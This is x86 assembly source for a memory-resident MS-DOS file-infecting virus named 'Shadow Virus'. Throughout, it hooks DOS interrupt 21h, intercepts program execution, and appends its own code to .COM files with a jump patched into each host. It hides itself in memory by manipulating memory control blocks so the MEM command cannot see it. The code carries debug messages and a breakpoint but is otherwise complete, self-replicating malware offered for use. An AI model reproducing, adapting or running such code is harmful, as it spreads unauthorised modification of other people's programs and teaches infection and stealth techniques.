###################################
#Shadow Virus - Non Destructive
###################################

;+----------------------------------------------------------------------------+
Overview

Language - x86 Assembly
Operating Systems - MS-DOS, Windows 95/98
Type - Memory Resident
Files Infected - DOS COM Files (.COM)
Characteristics - Virus Residency Check
The virus uses MCB chaining to hide itself in memory and cannot be viewed by the MEM command
;+----------------------------------------------------------------------------+



CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H
;----------------------------------------------------------------------------
; PROGRAM STARTS HERE
;----------------------------------------------------------------------------
START:
jmp INSTALL_VIRUS ;go to the installation routine
;----------------------------------------------------------------------------
; Data Area
;----------------------------------------------------------------------------
nISRNumber EQU 21h
nVirusID EQU 4B12h ;has to be 4Bxxh where xx=03 to FF
;nVirusSize EQU (offset END_OF_CODE - offset START)
sFileOpen db "Opening File for Read/Write...",0
sFileCheck db "Reading Signature from File...",0
sFileSignature db "Checking Signature...",0
sPointerMoved db "File Pointer Move OK...", 0
sComFile db "File is a .COM File......Infecting File with Virus!!",0
sFileInfected db "File has been infected...",0
sClosingFile db "Closing File...",0
sJumpUpdated db "Jump Instruction Added...", 0
sAlreadyInfected db "File is already infected...",0
_DX_DS dw 2 dup (?) ;DS:DX is stored here, first DX, then DS
db "File Handle:"
wHostFileHandle dw ? ;handle of the host file
;------------------------- DON'T SEPERATE -------------------------
HostBytesNew db 0E9h ;opcode for a JMP instruction
wHostFileLength dw ? ;length of the host file (minus 3)
VirusSignature db "RB" ;signature of the virus
;------------------------- DON'T SEPERATE -------------------------
HostBytesOld db 0CDh, 20h, ?
;first three bytes of host file. The first two bytes are set to
;INT 20h,so that when "this" file is executed without a host,
;it quits when it tries to transfer control to the host.
HostSignature db 2 dup (?) ;the virus signature is stored in bytes
;4 and 5 of the host file. If the file is infected, these bytes
;will be equal to "VirusSignature" defined below
;----------------------------------------------------------------------------
; GetRelocation
;----------------------------------------------------------------------------
; Description
; -> Gets the relocation value (aka delta offset) i.e the value that must
; be added to each variable in the program if the program has been
; relocated. The program gets relocated when it attaches itself to
; the host file. If the program has not been relocated, the value
; returned is 0
; Arguments
; -> Register: Register in which the value is to be stored
; Registers Destroyed
; ->
;____________________________
@GetRelocation MACRO Register
LOCAL GetIPCall
call GetIPCall ;this will push the IP on the stack
GetIPCall:
pop Register
sub Register, offset GetIPCall
ENDM
;----------------------------------------------------------------------------
; SaveRegisters
;----------------------------------------------------------------------------
; Description
; -> Saves the contents of all the registers on the stack
; Arguments
; ->
; Registers Destroyed
; ->
;___________________
@SaveRegisters MACRO
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
pushf
ENDM
;----------------------------------------------------------------------------
; RestoreRegisters
;----------------------------------------------------------------------------
; Description
; -> Restores the contents of all the registers from the stack
; Arguments
; ->
; Registers Destroyed
; -> ax, bx, cx, dx, es, ds, si, di, bp, flags
;______________________
@RestoreRegisters MACRO
popf
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ENDM
;----------------------------------------------------------------------------
; PrintReturnCode
;----------------------------------------------------------------------------
; Description
; -> Displays the return code stored in the register AX
; Arguments
; -> AX contains the code to be displayed
; Registers Destroyed
; ->
;_____________________
@PrintReturnCode MACRO
pushf
push ax
push bx
push cx
xchg ax,cx ;save return code
xor bx,bx
mov ah,0Eh
mov al,ch
add al,'0'
int 10h ;display high bit
mov al,cl
add al,'0'
int 10h ;display low bit
pop cx
pop bx
pop ax
popf
ENDM
;----------------------------------------------------------------------------
; Printf
;----------------------------------------------------------------------------
; Description
; -> Displays a string, and goes to the next line. The string should end
; with a NULL character 0x00
; Arguments
; -> ds:si: Address of the string to be displayed
; Registers Destroyed
; -> ax
;__________
Printf PROC
push bx
mov ah,0Eh ;teletype output
xor bx, bx ;page 0
DISPLAY_CHAR:
lodsb ;get next character
int 10h ;display
test al, al ;end of string?
jne DISPLAY_CHAR
mov al,0Dh ;display carriage return ...
int 10h
mov al,0Ah ;... and line feed
int 10h
pop bx
ret
Printf ENDP
;----------------------------------------------------------------------------
; HookISR
;----------------------------------------------------------------------------
; Description
; -> Installs a new interrupt service routine
; Arguments
; -> AL: Interrupt number
; -> SI: Buffer in which to save old ISR address (DWORD)
; -> DX: Address of new ISR
; Registers Destroyed
; -> ah, bx, es
;___________
HookISR PROC
mov ah, 35h
int 21h ;Get Address of Old ISR
mov word ptr [si], bx ;Save it
mov word ptr [si+2], es
mov ah, 25h ;Install New ISR
int 21h
ret
HookISR ENDP
;----------------------------------------------------------------------------
; NewDosISR
;----------------------------------------------------------------------------
; Description
; -> Replacment ISR for DOS INT 21h
; Arguments
; ->
; Registers Destroyed
; ->
;_____________
NewDosISR PROC
pushf
cmp ax, nVirusID ;function to check residency of virus?
jne NOT_VIRUS_CHECK
popf ;because we pushed the flags before comparing
xchg ax, bx ;tell calling program that we're resident
iret ;return, since we don't have to call old ISR
NOT_VIRUS_CHECK:
cmp ax, 4B00h ;load and execute file?
je EXEC_FN
popf ;because we pushed the flags before comparing
;Û JUMP TO OLD ISR Û
;The following two lines will jump the old ISR
;These lines are equivalent to jmp dwOldExecISR
db 0EAh ;op code for inter segment JMP instruction
dwOldExecISR DD ? ;old ISR address is stored here
EXEC_FN:
popf ;because we pushed the flags before comparing
;Û SAVE FILENAME ADDRESS Û
push bp
@GetRelocation bp
mov cs:bp+_DX_DS, dx ;DS:DX contains the filename. we must save
mov cs:bp+_DX_DS+2, ds ;these, because they will be destroyed after
pop bp ;the call to INT 21h
;Û CALL ROUTINE TO INFECT FILE Û
@SaveRegisters ;we don't want to mess up, since this is an ISR
push cs
push cs
pop ds ;make DS ...
pop es ;... and ES = CS
cli
call InfectFile ;infect the file before it is executed
sti
@RestoreRegisters ;restore before calling orignal ISR
;Û CALL OLD ISR Û
pushf ;because an iret will pop the flags, CS and IP
DB 2Eh, 0FFh, 1Eh ;op code for CALL FAR CS:[xxxx]
dwOldExecISRVariable DW ? ;address of dwOldExecISR (defined above)
;Û UPDATE OLD FLAGS ON STACK Û
pushf ;this is the IMPORTANT part. we must pass the
push bp ;the new flags back, and not the old ones.
push ax
mov bp, sp
mov ax, [bp+4] ;get new flags (which we just pushed 'pushf')
mov [bp+10], ax ;replace the old flags with the new. the stack
pop ax ;initially had FLAGS, CS, IP (in that order)
pop bp
popf
iret
NewDosISR ENDP
;----------------------------------------------------------------------------
; InfectFile
;----------------------------------------------------------------------------
; Description
; -> Attaches the virus to the file (infect) if not already infected
; Arguments
; -> _DX_DS contains the name of the file to be infected
; Registers Destroyed
; -> TODO: ???????
;TODO: Remove read-only/system attributes, and restore when done
;TODO: Time & Date should remain the same
;______________
InfectFile PROC
@GetRelocation bp
lea si,bp+sFileOpen
call Printf
;Û OPEN FILE Û
lds dx, cs:dword ptr [bp+_DX_DS] ;get the file name to be infected
mov si, dx
call Printf ;display the filename
mov ax, 3D02h ;open file for reading/writing
int 21h
pushf
@PrintReturnCode ;display the handle of the file
popf
jnc FILE_OPENED
ret
FILE_OPENED:
mov bp+wHostFileHandle, ax ;save handle
push cs
pop ds ;restore DS
lea si, bp+sFileCheck
call Printf
;Û READ FIRST 5 BYTES Û
mov ah,3Fh ;read ...
mov bx, bp+wHostFileHandle
mov cx,5 ;... 5 bytes from the file
lea dx,bp+HostBytesOld ;address of buffer in which to read
int 21h
pushf
@PrintReturnCode ;display number of bytes read
popf
jnc FILE_READ_OK
jmp CLOSE_FILE
FILE_READ_OK:
lea si,bp+sFileSignature
call Printf
;Û CHECK SIGNATURE Û
xchg di, dx ;CX=buffer where data has been read
mov ax, 5A4Dh ;EXE signature = 'MZ' (M=4Dh, Z=5Ah)
cmp ax, [di]
jne COM_FILE
jmp CLOSE_FILE ;file is an EXE file, cannot infect
COM_FILE:
lea si,bp+sComFile
call Printf
;Û CHECK FILE FOR PRIOR INFECTION Û
mov ax,[di+3] ;get host signature
lea bx,bp+VirusSignature
cmp ax, [bx] ;check signature
jne FILE_NOT_INFECTED
lea si,bp+sAlreadyInfected
call Printf
jmp CLOSE_FILE
FILE_NOT_INFECTED:
;Û ADD CODE TO HOST FILE Û
mov ax, 4202h ;go to end-of-file
mov bx, bp+wHostFileHandle
xor cx, cx
xor dx, dx
int 21h
jnc MOVE_PTR_OK
jmp CLOSE_FILE
MOVE_PTR_OK:
sub ax, 3 ;length of a JMP instruction (E9 xx xx)
mov bp+wHostFileLength, ax ;save the length of the file (minus 3)
lea si,bp+sPointerMoved
call Printf
mov ah,40h ;append virus code
mov bx, bp+wHostFileHandle
lea dx, bp+START
mov cx, offset END_OF_CODE-offset START
int 21h
jc CLOSE_FILE
lea si, bp+sFileInfected
call Printf
;Û ADD JMP INSTRUCTION TO BEGINNING OF HOST Û
mov ax, 4200h ;go to beginning-of-file
mov bx, bp+wHostFileHandle
xor cx, cx
xor dx, dx
int 21h
jc CLOSE_FILE
@PrintReturnCode
lea si,bp+sPointerMoved
call Printf
mov ah, 40h ;write the jmp instruction to the file
mov bx, bp+wHostFileHandle
lea dx, bp+HostBytesNew
mov cx, 5 ;3 for the jmp instruction, and 2 for ...
int 21h ;... the virus signature
jc CLOSE_FILE
lea si,bp+sJumpUpdated
call Printf
@PrintReturnCode
CLOSE_FILE: ;Û CLOSE FILE Û
lea si, bp+sClosingFile
call Printf
mov ah,3Eh
mov bx, bp+wHostFileHandle
int 21h
@PrintReturnCode
ret
InfectFile ENDP
;----------------------------------------------------------------------------
; INSTALL_VIRUS
;----------------------------------------------------------------------------
INSTALL_VIRUS:
@GetRelocation bp
;Û VIRUS RESIDENCY CHECK Û
mov ax, nVirusID
int 21h
cmp bx, nVirusID ;virus installed?
je VIRUS_ALREADY_INSTALLED
;Û RESIZE MEMORY BLOCK Û
mov ax, ds
dec ax
mov es, ax ;get MCB
cmp byte ptr es:[0],'Z' ;is it the last MCB in the chain?
jne CANNOT_INSTALL
mov bx, es:[3] ;get block size
sub bx, ((offset END_OF_CODE-offset START+15)/16)+1 ;compute new block size in paragraphs
push ds
pop es
mov ah, 4Ah ;resize memory block
int 21h
;Û ALLOCATE MEMORY Û
mov ah, 48h ;allocate memory for the virus
mov bx, (offset END_OF_CODE-offset START+15)/16
int 21h ;AX will contain segment of allocated block
;Û UPDATE MCB Û
dec ax
mov es, ax ;get MCB
mov byte ptr es:[0], 'Z' ;mark MCB as last in chain
mov word ptr es:[1], 8 ;mark DOS as owner of memory block
;****TESTING
;sub word ptr ds:[2], (offset END_OF_CODE-offset START+15)/16
;****TESTING
;Û COPY VIRUS TO NEW MEMORY BLOCK Û
inc ax
mov es, ax ;get memory block
xor di, di ;destination address
lea si, bp+START ;start of virus code in memory
mov cx, offset END_OF_CODE-offset START
cld
rep movsb ;copy virus
int 3h
push es
pop ds ;make DS = segment of newly allocated block
mov ax, 40h
mov es, ax ;get BIOS segment
sub word ptr es:[13h], (offset END_OF_CODE-offset START+1023)/1024
;reduce available memory
;Û INSTALL NEW ISR FOR INT 21h Û
mov al, nISRNumber
lea si, dwOldExecISR-100h
lea dx, NewDosISR-100h
call HookISR
;Û UPDATE CALL INSTRUCTION IN NewExecISR Û
mov ds:[dwOldExecISRVariable-100h],si ;update CALL FAR CS:[xxxx] instruction
;in PROC NewDOSISR
CANNOT_INSTALL:
VIRUS_ALREADY_INSTALLED:
;Û TRANSFER CONTROL TO HOST PROGRAM Û
push cs
push cs
pop ds
pop es
mov di, 100h
lea si, bp+HostBytesOld
mov cx,5 ;restore 5 bytes
rep movsb
mov bx, 100h
push bx
ret ;transfer to host program
;----------------------------------------------------------------------------
; END_OF_CODE
;----------------------------------------------------------------------------
END_OF_CODE:
CODE_SEG ENDS
END START